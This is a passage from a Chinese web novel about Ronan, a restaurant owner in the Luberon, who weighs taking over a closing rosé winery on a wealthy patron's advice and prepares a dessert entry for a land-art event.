“后院的地面上次处理过了,这里地势平坦,不需要加固地基,就是如果要加卫生间的话需要做一套排水系统。” 罗南看着他问: “应该不贵吧?2-3万法郎?” 如果在巴黎,做一套新的排水系统可能需要5万甚至8万,但在吕贝隆做排水没有那么麻烦。 卡福摇头: “用不了,最多一万。” 罗南一怔,心想这也太便宜了: “做一套,上下水肯定要有,说不定以后我也要在这里‘工作’呢。” 如果未来罗南真的成为了一名甜品‘艺术家’,他也需要一个创作区域,餐厅里没有他工作的地方。 卡福又绕着原有的驴棚转了一圈: “这里拆完有不少材料都能用。” 罗南诧异的问: “还能用?” 卡福左看看右瞧瞧: “肯定有能用的东西啊,别浪费。” 罗南笑着说: “好。” 对完所有的细节,卡福开始和罗南算帐。 “按照建谷仓和马厩的方法,每平米的造价是400-600法郎,排水1万——”卡福皱着眉头沉吟了一下,“我争取7万5以内给你建下来。” 罗南听的一愣: “我是两层啊,你怎么只算了一层的面积?” 卡福大手一挥: “马厩的挑高绝对够你当两层用,中间加一层楼板而已,要不了多少钱。” 罗南哭笑不得的问: “你不会赔钱吧?” 这一上午卡福不停的帮他省钱.罗南理解现在两个人的交情和以前不一样了。 但这报价也太‘普罗旺斯’了! 卡福憨厚的挠了两下头: “以前靠这个赚钱但普罗旺斯的物价你还不懂吗?实际上东西没那么贵。” 他笑着拍了两下罗南的肩膀: “不过你放心,未来你可以享受到普罗旺斯最便宜的建筑和装修价格,而且我还会给你用最好的材料。” 工作房升级后工程量变大了,而且卡福的兄弟们还有编织的生意要忙。 上一次他们沟通6周左右可以建好,现在工程拉长到3-4个月。 不过卡福保证,3月份一楼的木工房一定可以投入使用,不耽误罗南和佐伊一起装修婚房。 卡福还说,会像自己家建房子一样对待这个工作室。 价格便宜,兄弟还靠谱那么罗南也就放心了。 不过为了感谢卡福的慷慨,罗南下午就去阿普特又进了一批装饰物让阿克尼那和巴蒂给妇女们分发了下去。 罗南这里做的多,卡福就能赚的多.以这种方式补偿他吧。 罗南家已经好久没有‘动工’了。 当施工团队入驻罗南家,一个多小时就把驴棚推倒,并开始挖坑打地基时,闲了许久的卢尔马兰村民又有热闹看了。 “哎呀,看这动静是要建房子?罗南家已经够大了,还建吗?” “你懂什么,罗南有钱,想建什么不行?” “就是,上上个月买房子,这个月建房子,罗南赚钱的速度像‘印钱’一样。” “上个月买房子?买了什么房子?” “就是商业街上的那间商铺啊!罗南的餐厅才开了一个月就把那间商铺买下来了,说明对商业街有信心,你不知道吗?最近有许多外村的富商来卢尔马兰看商铺。” “如果我有钱也要去那里租商铺,天气那么冷,但那里每天都有人,吕贝隆其他地方可看不到这景象,谁来了都能赚到钱!” 阿维尼翁,某高档酒会上。 穿着一袭华装的阿斯特丽德百无聊赖的晃动着手里的红酒杯。 每过几分钟就会有人过来向她敬酒。 面对这些敬酒的人,阿斯特丽德只会小小的抿上那么一口红葡萄酒,完全没有平时喝粉红酒的豪气模样。 可能是‘打扰’的人太多了,阿斯特丽德离开了自己的座位,去往人少的地方,半路上听到几个人的对话。 “你们最近关注卢尔马兰了吗?那个鸟不拉屎的地方居然出了一条人流量极大的商业街。” “当然知道了,我还知道福克斯家族半年前就去问过卢尔马兰商业街上的博物馆,不过不知道因为什么原因没谈成。” “福克斯家族果然厉害,商业嗅觉太恐怖了半年前卢尔马兰商业街还没运营呢,不过福克斯家族还要做香水博物馆?普罗旺斯和巴黎两地加一起已经有6家了吧?” “那就是福克斯家族的经营模式行了说点别的吧,那不是我们该谈的。” “还是说回卢尔马兰吧,我打听过了,卢尔马兰商业街上出了一家不错的中餐馆,把人流量带起来了,但可惜的是那里已经没有商铺可以买了。” 突然,一个女佣模样的人出现,拦在放慢脚步的阿斯特丽德身前。 “夫人,有电话找您。” 阿斯特丽德皱起眉头: “没看到我在办酒会吗?” 那人小心翼翼的说: “还是伊内斯会长,她问您什么时候有时间。” 阿斯特丽德的态度稍微缓和了一些,厌恶的看了一眼手里的红葡萄酒,对那女佣模样的人说道: “告诉伊内斯,后天下午3点后我有时间。” 当天晚上,罗南接到伊内斯的电话,通知他下一次聚会的时间和地点。 “后天?”罗南一愣。 之前聚会都是提前十天半个月通知,现在都这么临时的吗? 伊内斯应该不是第一次听到会员类似的反应,对待其他人她不好意思说明缘由,但和罗南说无妨: “阿斯特丽德最近非常忙。” 罗南对此表示理解: “明白,后天我会准时出席。” 这次聚会地点定在斯特斯加酒庄里,聚会的主题已经呼之欲出了。 罗南同样希望斯特斯加酒庄能有个好下家,所以后天他一定会去。 虽然已经让雅克转达过,但伊内斯还是不放心的又对罗南说了一次: “后天我会请求阿斯特丽德的帮忙,如果可以的话希望你能帮我一起。” 罗南实事求是的说: “虽然希望很渺茫,但我也同样希望能帮助到杰罗姆,我会尽力的。” 伊内斯心情不错的挂掉电话。 罗南肯帮忙,成功的概率至少提高了10%。 协会里的人总是私下里开玩笑的说,伊内斯太过‘疼爱’罗南,看他什么都好。 但伊内斯清楚知道,论最‘疼爱’罗南.协会里另有其人呐。 斯特斯加酒庄坐落于阿维尼翁以北20多公里的一片葡萄园里,严格意义上讲,它也处于教皇新堡这个著名的葡萄酒产区内。 教皇新堡附近有3000多公顷葡萄园,每年产酒900余万升,是法国非常重要的葡萄酒产区之一。 但教皇新堡的产区认证只包含白、红两种葡萄酒,所以斯特斯加酒庄从未用‘教皇新堡’这个噱头宣传过自己。 当然了,就算它和‘教皇新堡’攀上关系也没有用.普罗旺斯人根本不承认它。 罗南记得在某一次聚会上,加布里埃尔问杰罗姆,为什么要把酒庄建在教皇新堡附近,这似乎对他完全没有帮助。 杰罗姆的回答在意料之中,又在情理之外。 他说当年把地址定在这里,只是因为年轻气盛的他自信的认为,自己一定可以把酿酒合作社一点点经营成酒庄,沃克吕兹省95%以上的酒庄都在教皇新堡,省得以后搬家了。 “杰罗姆做到了,他经营出了普罗旺斯最棒的粉红酒庄。”罗南笑着说。 罗南今天依旧和雅克先生一起出席活动,汽车驶入教皇新堡的范围后,两个人聊起了杰罗姆的话题。 “杰罗姆只做到了一部分——”雅克唏嘘的说,“我刚认识杰罗姆时,他和你一样,目标是让粉红酒得到普罗旺斯人的正视,他不止开酒庄,还办协会.为了达成这个目的,他甚至可以把会长让给对粉红酒帮助更大的伊内斯,但现在他成了我们这些人里第一个要离开的。” 罗南叹气: “杰罗姆年纪大了,而且人的心态会变的。” 雅克感慨良多的说: “希望我们身边的伙伴不要再减少了。” 想到关键问题,罗南问雅克: “你知道今天出席的人都有哪些吗?” 伊内斯要在今天公布杰罗姆的决定,并动员这些沃克吕兹省的大人物帮忙一起找下家。 那肯定是出席的人越多,效果越好。 事实上,罗南至今还没有见过全部‘沃克吕兹省粉红者爱好协会’的成员,在他加入的这大半年里,有几个成员因为这样那样的原因从来没有出现过。 雅克推了一下眼镜: “伊内斯非常重视这次聚会,‘该来’的都会在今天出现,哦对了,你还没见过西奥多尔。” 罗南侧头看雅克: “当官的还是富商?” 罗南认为,这两种职业对帮助斯特斯加酒庄找到下家最有用,因为他们认识和接触的人多。 怎料雅克摇头道: “都不是,西奥多尔是一个品酒师,他认识几乎全部沃克吕兹省的酒庄、酿酒合作社老板,伊内斯希望通过他问一问其他的粉红酒庄是否有兴趣接下斯特斯加。” 罗南一愣。 这似乎是一位很重要的人物啊,怎么之前都没来参加过聚会? 问出心中所想后,雅克笑着回答: “说出来你可能不信,西奥多尔只品酒,不喝酒.对于这种一次性可以喝掉几十瓶酒的聚会,他只是听一听就要醉了。” 第280章 要找一个好买家 “那他是如何加入协会的呢?”罗南的嘴巴逐渐张大。 一群嗜酒如命的酒鬼堆里,混进来个不喝酒的‘乖宝宝’? 雅克语气平静的说: “事实上,协会之前的活动内容挺丰富的,我们还会体验手工酿酒的过程,只是后来——” 罗南耸肩: “明白了。” 肯定是因为阿斯特丽德女士的加入,让协会的活动内容变成了现在这个样子——简单粗暴,就是喝。 不过罗南心中升起了另一个疑问: “既然会员们不知道阿斯特丽德的职业,也不了解她的背景那是如何知道她是贵族,并有显赫的身世呢?” 雅克的表情一下子严肃下来: “阿斯特丽德加入协会后不久,科伦坦和朱莉特那几个政府官员就加入了进来,像是追着她来的似的,阿斯特丽德的信息都是那几个人不小心透露出来的,但有一次阿斯特丽德在聚会上警告他们不要乱说话,之后就没人敢再说什么了。” 罗南惊讶的问: “你的意思是,科伦坦和朱莉特那几个政府官员知道阿斯特丽德的身份?” 雅克想了几秒,用揣度的语气说: “很明显不是吗?我猜阿斯特丽德有可能是政府的高官,否则很难解释科伦坦和朱莉特他们的态度。” 罗南皱起眉头。 雅克先生的推测和他掌握的信息完全冲突。 所以阿斯特丽德到底是当官的还是做生意的啊? 罗南第一次来斯特斯加酒庄。 雅克把车停好后带他在酒庄里转了一圈。 设备间不能进,葡萄园也没什么好看的,不知不觉就转到了酒窖里。 在这里,他们碰到了杰罗姆和一个卷发的年轻男人。 “那就是西奥多尔。”雅克给罗南介绍。 他们没有立即过去打招呼,因为杰罗姆正带着西奥多尔举行‘神圣的仪式’,雅克和罗南都觉得现在过去并不礼貌。 那名叫西奥多尔的卷发年轻男人此时正凝视手里的酒杯,似乎要把它看穿一样。 十几秒后,他将杯子慢慢举起,然后用手掌握住杯底,缓缓旋转了三四次,接着把酒杯举到与眼睛同高,仔细观察粉红酒旋转后沿杯壁缓缓流下的痕迹。 接下来他把鼻子靠近酒杯,鼻翼翕张,全神贯注的闻了几下,在一次深呼吸后,又转动了一次酒杯,之后才喝下第一口酒,但仅是小小的一口。 罗南以为这场漫长的‘仪式’终于要结束,怎料这才只是个开始。 西奥多尔把酒含在口中漱了几秒钟,又抿起嘴唇让些许空气进入嘴里,然后发出了像漱口一样的怪声。 他高高的仰起头,两眼直视黑漆漆的屋顶,腮帮子反复收缩鼓起、收缩鼓起.在五六个来回后,他的头才放下来。 罗南看到他的脸上出现了笑容,似乎对嘴里液体的味道非常满意,终于.把酒吐了出去。 “一点都不好喝,每一款都没有你这里的好喝。”西奥多尔把酒吐到酒窖里的一条排水沟后说道。 见罗南一脸惊悚,雅克给他介绍: “那个排水沟就是吐酒和倾倒没有喝完的酒用的。” 雅克一出声,杰罗姆和西奥多尔才发现这里还有两个人。 其他三个人是老朋友,杰罗姆详细的给罗南和西奥多尔做了介绍。 “这位是罗南,他是餐厅老板,也是优秀的松露猎人,同时也是一个粉红酒的狂热爱好者。” “西奥多尔,吕贝隆最有天赋的年轻品酒师,他给我这里的酒提过许多改进建议,同样也是个粉红酒爱好者。” 西奥多尔对罗南伸手的同时笑着纠正: “爱好品鉴粉红酒,不是喝,很高兴我们的队伍又加入了新的成员。” 罗南和西奥多尔握了一下手,指着他们面前的几瓶粉红酒问: “你们在尝其他酒庄的粉红酒?” 他一眼认出这些酒都不是斯特斯加酒庄生产的。 西奥多尔笑着说: “是的,我这个人喜欢品粉红酒,杰罗姆知道我要来,把他最近收集到不错的几款都拿出来了,但我太失望了,没有一瓶好喝的。” 他笑着对杰罗姆说: “别的地方我不敢说,斯特斯加生产的粉红酒在普罗旺斯绝对是最好喝的。” 可能是由于知道了杰罗姆的决定,雅克和罗南都有些伤感,为这家普罗旺斯最好喝粉红酒庄的未来命运而担忧。 但杰罗姆的心态挺好的,笑呵呵的说: “那是因为有你给我把关啊西奥多尔,好久不见,今天好好给我说说,你这几个月又喝到什么好酒了。” “哎呀呀,那可太多了!”西奥多尔笑的比杰罗姆还开心,“我在勃艮第喝到了许多好酒!” “真的吗?快给我讲讲!”杰罗姆兴奋的说。 聚会的时间到了,四个人从酒窖一边聊天一边去往杰罗姆酒庄的休息室。 罗南默默听了一路,发现这位有个性的品酒师不止是只品不喝,描述酒时所用的词汇也非常‘别具一格’。 肥美多汁、强劲有力、性感张扬、飞扬跋扈、狂野放荡.这些词汇一个个从一名品酒师嘴里蹦出来,让罗南忍不住遐想——这位年轻的先生在本职之外是不是还有其他赚钱的门道。 西奥多尔性格活泼,他的到来给聚会带来不少欢乐,气氛一下子热闹起来。 但这种热闹气氛,在伊内斯公布了杰罗姆的决定后烟消云散。 每个人的眉毛都皱成一团,西奥多尔也没心情说笑话了。 罗南特意去看了一眼阿斯特丽德,发现这位女士没有一点反应,似乎根本没听到似的。 这可出乎了罗南的意料。 他知道阿斯特丽德肯定不会接手,但她应该也会有情绪起伏才对啊。 这帮人里最离不开斯特斯加酒庄的就是她了。 好喝的粉红酒没了,她未来喝什么呢? 观察了一会后,罗南在心里默默叹了一口气,伊内斯的希望注定要落空了。 在场唯二表情没什么变化的是杰罗姆,他还有心情安慰其他人: “听到伊内斯说要把聚会地点定在我这里,我是非常抗拒的,就怕弄成现在这个局面,大家一个个都那么伤心,斯特斯加虽然未来有可能要关闭,但它在之前的十几年里被肯定过、被爱过,对我来说已经足够了,哈哈,刚刚西奥多尔还说斯特斯加的粉红酒是普罗旺斯最好喝的呢。” 加布里埃尔问他: “什么时候关?” 杰罗姆笑着说: “把最后这一批酒卖完,但估计还要好几个月呢,你们知道的.粉红酒并不好卖。” 加布里埃尔继续问: “找下家了吗?” 会长伊内斯长出一口气。 这位除了钱什么都没有的糖果大王终于能在协会里起到一点作用了。 杰罗姆的语气轻松的说: “找了,但没有那么顺利,有可能葡萄园、设备、厂房和牌子分开卖,这周围酒庄不少,拆开卖还是能找到卖家的。” 西奥多尔皱着眉毛说: “那些不都是卖红葡萄酒和白葡萄酒的?” 杰罗姆笑着看西奥多尔: “那你帮我找个能继续卖粉红酒的下家?” 西奥多尔表情严肃的摸了几下嘴,似乎真的在盘算可以找谁问一问了。 伊内斯见话题聊到这里,对其他会员说: “从协会成立开始,我们喝的一直是斯特斯加生产的粉红酒,相信大家都不希望斯特斯加就此消失,现在还有时间,我们都问问身边的朋友,看看有没有人对它感兴趣,至少把斯特斯加传承下去.” 会员们积极的说了一些身边有可能接手的人,并保证一定会落实这件事。 加布里埃尔直接了当的问杰罗姆: “你打算卖多少钱?” 杰罗姆苦笑着说: “葡萄园有市价,我不能坏了规矩;设备3折就卖;这个酒庄你们也了解,才建了没几年,不做酒庄也可以买走做度假别墅,我问了中介应该值100万:还有斯特拉斯加的名字实不相瞒这个最值钱的东西,恰恰是最卖不上价的。” 加布里埃尔脱口而出: “我买——” “嘭——” 阿斯特丽德开了一瓶粉红酒,吸引走了大家的注意力。 她冰冷的说: “十几年积攒下来的口碑不容易,要卖也要找一个好买家。” 加布里埃尔把后半句话憋了下去。 她这是在说我是个不好的买家吗? 伊内斯见阿斯特丽德终于‘上线’了,热情的问: “阿斯特丽德,你身边有合适的人可以接手斯特斯加酒庄吗?” 阿斯特丽德想都没想就拒绝: “没有。” 伊内斯继续问道: “那你呢?你对斯特拉斯感兴趣吗?” 阿斯特丽德突然冷笑了几声: “你既希望一个无业游民能把酒庄经营好?” 罗南细心的去观察了科伦坦和朱莉特等几个官员的表情。 其他会员听到阿斯特丽德直接了当的拒绝,露出了或遗憾或失望或惊讶的表情,但这几位官员的表情没有任何变化,似乎答案早就在他们心里。 罗南转头看向阿斯特丽德。 不会吧.难道阿斯特丽德真的是高官? 官职高到说出来会吓到成员们,所以选择‘隐姓埋名’? 伊内斯还想继续争取让阿斯特丽德回心转意,但罗南悄悄对她摇了一下头。 没有用的,别说了。 伊内斯接受到了罗南的讯号,默默叹了一口气,去做别人的工作了。 斯特拉斯加即将关闭的消息使得聚会的气氛很难再次热烈起来,平时三五成群开心聊天的会员也改为凑到一起商量对策,或者悲观的想象几个月后的情形了。 在接连不断的叹气背景声中,他们看到阿斯特丽德拿着酒瓶子站到了加布里埃尔的对面。 糖果大王一阵兴奋。 难道她来和我解释,刚刚语气不好不是故意的了? “能和你换个座位吗?”阿斯特丽德面无表情、居高临下的问。 似乎这不是商量,而是‘恩赐’。 “啊?啊啊!”加布里埃尔在短暂的错愕之后离开了自己的位置。 那之后.那之后的事情会员们就不知道了。 因为阿斯特丽德和罗南开启了‘悄悄话’模式,她附在罗南的耳边说了好久好久。 大家唯一可以捕捉到的信息就是,罗南的眼睛每隔几秒钟就会瞪大一次,显然是受到了极大的震惊。 第281章 幸运的小子 “你不是致力于要让粉红酒像红葡萄酒和白葡萄酒一样,得到普罗旺斯人的正视吗?现在你的机会来了,把斯特斯加酒庄接下来。” 这是阿斯特丽德附在罗南耳边说的第一句话。 这个开场白炸裂到罗南马上瞪大了眼睛。 阿斯特丽德感受到罗南胸膛的起伏,拍了一下他的肩膀,示意他不要说话,等她把话讲完。 “不用考虑资金和合理性,你只需考虑是不是能把它运营下去并经营好。”阿斯特丽德停顿了一下,“考虑好了吧.那就接手下来吧。” 罗南的眼睛又瞪大了几分。 等会等会! 只给我三秒钟的时间考虑? 而且我还没说话呢!! 阿斯特丽德又拍了一下罗南的肩膀,让他闭嘴,听她继续说: “卢尔马兰把粉红酒定为特色之路,就一定需要一个属于自己的酒庄,这不是送到你面前的机会?” “可是——”罗南刚说了两个单词,肩膀传来一阵巨痛,是阿斯特丽德女士不满他打断了自己的发言下狠手了。 罗南能明显感到这位女士的语气变得不耐烦了: “可是可是,还有什么可是的啊,博物馆加粉红酒一整条产业链条是现成的模式,别告诉我你们那个愚蠢的政府要把博物馆做成其他主题?记住,将工业遗产转化为文化资本是普罗旺斯人玩了几百年的东西,这是最简单有效的商业模式。” 将工业遗产转化为文化资本罗南在心里默默重复了一遍。 见阿斯特丽德终于离开了自己的耳边,他小心翼翼的问: “我可以说话了吗?” 阿斯特丽德面无表情的给自己倒酒,没有说可以也没有说不,似乎刚刚的一切都没有发生似的。 罗南压低声音说: “我没有那么多资金。” 罗南第一次在阿斯特丽德脸上看到类似‘崩溃’的表情,她用‘你没事吧’的夸张表情问: “我之前教你的‘借势’和‘借利’顺着粉红酒咽到肚子里去了?餐厅靠你自己能运营成现在这副样子,把一整条商业街的流量都带动起来?” 罗南像是被老师训话的学生,不停用喝酒掩饰尴尬的情绪。 靠他自己肯定做不成这副样子。 从还愿盛典开始政府就在帮他出力了,现在卢尔马兰的一切宣传内容里都会带着罗南的餐厅。 不过阿斯特丽德居然知道卢尔马兰商业街的情况? 见罗南终于不像傻子一样不停问问题,并且一副思考的模样,阿斯特丽德恢复到了以往的慵懒模样: “在普罗旺斯只靠努力是做不成生意的,要把一切共同利益体牢牢的绑定到一起,尤其是你这种没有根基的人,聪明人从不说自己‘有钱’,启动资金根本不是什么问题。” 罗南颇为意外的小心打量起阿斯特丽德。 她在刚刚的两三分钟里像是换了个人似的。 短短几句话展现出的商业思维能力给了罗南极大的震惊。 罗南甚至有一种,阿斯特丽的慵懒和对任何事物都都不感兴趣的状态是伪装出来的、其实她是个女强人的错觉。 而且她明明很在意斯特斯加酒庄却伪装出了无所谓的样子。 但为什么要伪装呢? 不过这位女士在今天又给罗南上了一课——‘在普罗旺斯只靠努力是做不成生意的,要把一切共同利益体牢牢的绑定到一起,尤其是你这种没有根基的。’ 如果这句话成立。 仅仅绑定一个卢尔马兰政府够吗? 教罗南这个道理的阿斯特丽德女士.是不是更加需要绑定成共同利益体? 在她嘴里,卢尔马兰政府是一群‘愚蠢的家伙’,那她是什么? 想到这里,罗南回忆起布兰科很久之前和他说过的一句话——‘其实你的那个厉害朋友一直在帮你啊罗南,你怎么就那么肯定,她未来不会继续帮你呢?’ 这次罗南主动附到阿斯特丽德的耳边,悄悄的问: “您为什么要帮我?” 阿斯特丽德用嘲讽意味明显的语气冷哼一声: “帮你?我是为了继续喝到顺口的粉红酒。” 说完,她冷着脸拎着酒瓶子离开。 加布里埃尔在确定阿斯特丽德不会回来后,才敢坐回来。 坐下后的第一句话就是问罗南: “和阿斯特丽德聊的不愉快?那位女士离开时的表情差极了。” 罗南耸肩: “或许吧?” 罗南决定一定要想办法搞清楚阿斯特丽德的身份。 这将直接关乎他如何与这个强大的‘利益共同体’绑定到一起。 阿斯特丽德几次给罗南的‘提点’都起到了至关重要的作用。 按照这位女士的意思,罗南应该把斯特斯加酒庄接手下来,与卢尔马兰博物馆和未来的特色发展之路一起,组成一条成熟的商业模式。 如果在这个过程中资金不够,就向政府求助。 罗南甚至在她的话语中品出了一种‘即使有钱也要说没钱,找政府要资金’的隐藏意思。 已知罗南的资金肯定不够,接下来他要确认的是需要让政府‘资助’多少。 无论是罗南还是卢尔马兰政府肯定都不会接手杰罗姆的这20公顷葡萄园,卢尔马兰附近不缺葡萄。 同理,这个豪华的大酒庄他们也不会要,未来的酒庄或者酿酒合作社的选址一定要在卢尔马兰的管辖区域里。 连卖奶酪的略伦特都要搞什么‘牧羊人之路’特色旅游线路,未来卢尔马兰肯定也要有自己的‘粉红酒之路’,来教皇新堡不合适。 那么罗南有可能从杰罗姆这里接手的,是部分设备和‘斯特斯加’这个名字。 罗南非常认同杰罗姆的话.‘斯特斯加’这个名字其实是最值钱的东西,这代表普罗旺斯粉红酒的最高水平。 在聚会的稍微时间,罗南找了一个机会坐到杰罗姆的身边,和他好好聊了一次。 “杰罗姆,你的那些设备要卖多少钱?”罗南认真的问。 这一下午来问杰罗姆细节的人非常多,他以为罗南也是在帮朋友打听: “你问的是压榨机、发酵罐、温控设备、储存罐、过滤机还是检测设备?” 罗南听的一阵头疼,似乎已经听到法郎挥洒出去的声音了: “全部。” 杰罗姆猜到罗南应该不懂这些设备,于是详细的介绍了一遍: “我这里有两套去梗压榨机,一套手动,一套半自动,分别是5万和15万法郎;容量10000升的发酵罐3个,每个15万法郎;温控设备用的是最好的,20万法郎;储存桶大概有50多个,每个1000法郎;过滤机6万法郎;半自动装瓶线20万法郎;一套检测系统10万法郎,这些全部3折卖。’” 罗南在心里快速计算着。 未来卢尔马兰的粉红酒庄必须是要纯手工酿酒,因为布兰科要利用旅游局保护‘手工酿制粉红酒工艺’这一点去申请预算,这是非常重要的事情。 所以他要买的设备,只能是这其中非自动化的那些。 但即使打了3折.投入也是巨大的,初步算下来只是设备就要至少40万。 这还没算仓库、场地和人力的投入。 罗南咬着牙问: “那‘斯特斯加’这个名字呢?” 这才是最重要的东西啊! 杰罗姆自嘲的笑了一下,举起酒杯喝了一口酒: “这是酒庄里最值钱的东西,我甚至不太想卖掉这个名字,你知道的.积攒下来的口碑不容易,也许让它留在这个最好的时刻是最好的?” 罗南先是点头表示理解,随后解释道: “如果说有一个非常不错的买家接手你会考虑卖吗?” 杰罗姆指了一下加布里埃尔: “加布里埃尔也问了我同样的问题,我给他的报价是50万,50万我可能会考虑把‘斯特斯加’的名字交给下一个人。” 罗南靠到沙发靠背上,长叹了一口气。 上帝布兰科有可能资助给我100万法郎吗? 就算等到春天,沃克吕兹省旅游局给卢尔马兰批了预算,这个数字也有些高了吧?? 不远处。 阿斯特丽德在人群里敷衍的应付着,时不时就看两眼罗南和杰罗姆所在的区域。 罗南比她想象中的更‘听话’。 当天就去找杰罗姆打听细节了。 这种办事效率在普罗旺斯可不多见,她见到更多的是只说不行动的人。 阿斯特丽德当然是最在意斯特斯加酒庄是否存在的那个人。 因为她嗜粉红酒如命。 正因如此,她才会最想要给斯特斯加酒庄找一个好的下家。 而且阿斯特丽德和伊内斯的判断相同,也同样认为能接手斯特斯加酒庄的人在协会里。 只有真正热爱粉红酒的人,才会做这个在普罗旺斯看不到什么前景的事业。 而协会里最合适的人选就是罗南.他甚至比阿斯特丽德本人还要合适接手斯特斯加酒庄。 无神论的阿斯特丽德甚至觉得,冥冥中有神奇的力量在给她做指引。 无意间让罗南说服卢尔马兰政府把粉红酒作为特色的建议,就这样和斯特斯加酒庄完美的衔接到了一起,还产生了一条在普罗旺斯非常成熟的商业模式.似乎有人在背后特意安排似的。 “幸运的小子。”阿斯特丽德慵懒的收回目光。 是否有神秘的力量做指引,阿斯特丽德不确定。 但她肯定,能让她一而再再而三提点是罗南最大的幸运。 第282章 大地艺术活动 有可能要接手一座酒庄对于罗南来说太突然了。 聚会结束两三天了,他依然没有从这种突然中脱离出去。 但又过了两三天后,罗南想明白了一个道理。 即使没有斯特斯加酒庄易手的事,他未来也要考虑这个问题。 放出豪言壮语要让粉红酒被普罗旺斯人正视的他.难道一辈子只卖不酿造? 他早晚要接触这个行业,只是或早或晚的事情。 只不过斯特斯加让这件事提前了。 想明白后,罗南也认同了阿斯特丽德的说法——斯特斯加是‘送到他面前’的机会。 如果能继承下来‘斯特斯加’这个名字,罗南和卢尔马兰都将少走很多冤枉路。 但要接手斯特斯加酒庄也不是那么容易的事。 他自己在资金和能力方面还有所欠缺,现阶段卢尔马兰政府也还没有帮助他的能力。 但是好消息是,斯特斯加酒庄没有那么快关闭,也非常难卖出去,又给了罗南和卢尔马兰政府一些‘发展’的时间。 罗南决定这一两个月先好好了解一下酿酒这个行业,这样未来找政府‘借钱’的时候底气也能足一些。 布兰科最近正让希尔维他们出去学习粉红酒和这个行业的相关知识,以设计和装扮商业街上的粉红酒博物馆。 万一大家坐下来一聊,发现罗南一问三不知就不好了。 等罗南了解深入一些,就去政府找布兰科聊斯特斯加酒庄的事。 时间节点最好安排在布兰科向沃克吕兹省旅游局申请预算之前,这样双方的空间会大很多说不定这件事还能在申请预算时使上力。 布兰科和罗南提过,他大概会在3月初去做下一轮预算申请,留给罗南的学习时间足够了。 在这段时间里,罗南要做的第二件事是想办法把阿斯特丽德女士的身份打听到,以求有朝一日和她绑定成‘利益共同体’。 直接问肯定得不到答案,需要他通过掌握到的信息去‘调查’。 而罗南目前掌握的唯一的确定信息就是她曾来卢尔马兰问过博物馆的合作,希望将它打造成一所香水博物馆。 在最后一次聚会上,阿斯特丽德还说,博物馆和粉红酒是一条在普罗旺斯非常成熟的商业模式。 也许在普罗旺斯有其他阿斯特丽德家族经营的香水博物馆存在? 如果能找到,正好罗南也可以去学习一下,这条成功的商业模式是如何运营的。 罗南去寻求了餐厅里艺术家们的帮忙,这些来自普罗旺斯各地的家伙肯定知道是否有这样的香水博物馆存在。 这一打听可不得了。 在普罗旺斯居然有7、8座以香水为主题的博物馆存在,分布在普罗旺斯各地,这可把罗南难到了。 哪一个是阿斯特丽德家族经营的? 还是说,每一个都可以去学习和借鉴? “那咱们就每一个都去看看。”佐伊给出了她的建议,“而且你不是想要更加详细的了解普罗旺斯酒文化吗?那更要多出去转转了,我陪你一起。” ‘大地艺术’的送展时间在即,艺术家们最近全部在‘加班加点’的创作。 罗南如果想见佐伊只能来家里找她了。 但无论罗南什么时候来,佐伊都在工作室里,像是不会休息一样。 罗南笑着问她: “你哪里有时间?最近你都没时间去餐厅吃饭了” 佐伊揉了揉发酸的脖子: “一直待在家里创作,灵感也会枯竭的,偶尔可以出去转转。” 罗南撇了下嘴: “但今天莉亚还在餐厅里抱怨,说你昨天为了调一个颜色,8点多才吃晚饭你确定可以放下作品出去换换脑子?” 佐伊重新戴上防尘口罩,声音飘渺的说: “我猜你要找的香水博物馆一定在格拉斯附近,那里是‘香水之都’,格拉斯距离卢尔马兰有点远,我们可以安排到2月份我忙完了再去但酿酒合作社吕贝隆有许多,我们随时都可以去看看。” “不着急,你先忙正事。”罗南站起来,打算离开,不耽误佐伊工作了。 佐伊突然在身后叫住了他: “你练习的怎么样了?” 我‘练习’的怎么样了? 罗南马上打开系统,看向最下方的数值。 还差800多点才能到5000【幸福度】。 “挺好的,符合预期。”罗南脸不红心不跳的说。 确实很符合预期,月底前肯定能凑够5000把【烹饪】升级。 佐伊认真的问: “那你的作品呢?想好要做什么了吗?” 艺术家们都是通过多轮碰撞才确定作品的主题。 但她从来没听过罗南说起过这个话题。 见罗南一时间回答不出来,佐伊叹气: “没有多少时间了,有什么需要帮助的,随时找我好吗?” “好的。”罗南立即答应下来。 那一次和佐伊交谈过后,罗南觉得确实该分配给‘大地艺术’活动一些精力了。 如果要开酒庄,艺术家可能是初期最大的客群,未来要和艺术家这个身份的关系更加紧密。 之前的心态是去不去参加活动都行,现在是必须要去。 最好能通过‘大地活动’活动获得一些关注度,除了给餐厅引流外,也给未来卖粉红酒做铺垫。 但他无法确认升级后的【烹饪】一定可以对‘大地艺术’活动有帮助。 也就是说,罗南有可能要面临以现在的实力去参加活动的局面。 如果是这样的话,那的确要‘练习’一下了。 其实‘大地艺术’活动的主题非常宽泛,只要能和自然、大地有关连的元素都可以。 比如他之前做的圣诞树饼干和奶油花等,它们全部符合主题。 但就像艺术家们每天在餐厅里抱怨的那样——优势在哪里? 的确用甜品创作已经有特殊性,但主题同样很重要的。 只是同甜品做花和草,很难和普罗旺斯的那些殿堂级艺术家们同台竞技啊。 一定要把作品做出‘深度’和‘高度’! 那之后,罗南会特意留意身边和自然有关的东西和事物,只要找到有意思的主题,就会尝试着做个甜品。 不过大多是私下做的.除非特别有意思,他才会拿出来和佐伊、艺术家们分享。 但某一天他遇到了一个有意思的主题。 那一天他挖松露回来,刚一进到餐厅就被冯珍告知: “今天查电表的人来了,一打开外面的电箱,发现里面住了一窝马蜂,那个场景太恐怖了!明天一早我要打电话给消防队,让他们把马蜂窝清理出去!” 罗南一怔。 马蜂? 第283章 钱不能白花,狠狠的利用起来! 无论在何时何地,马蜂窝的出现都是很危险的事情。 尤其它们还把巢筑在了危险的电箱里,那更加马虎不得。 根据冯珍的转述,来查电表的工作人员吓得‘连滚带爬’的跑出来.说蜂巢都快把一整个电箱填满了。 见情况如此紧急,第二天一早,罗天海便拨打了消防队的电话请求帮助,消防队在得知具体情况后又叫来了电力公司,因为他们不了解电箱里的结构情况。 电力公司可能是担心消防队的家伙们动作太粗鲁,激怒了马蜂,给他们的后续操作带来危险,又勒令罗天海必须叫专业的杀虫公司在一旁全程指导。 罗天海在黄页上找到了专业的杀虫公司,但他们得知要对付的是马蜂后,又建议再去请一位专业的养蜂人,这样事情能更加顺利。 就这样一个喊一个.到了第四天的下午,餐厅的除马蜂计划才得以执行。 “太棒了,我们终于组建起了一支超过30人的专业团队,还有谁要喊其他人加入吗?”罗南对普罗旺斯人的办事效率和风格太满意了。 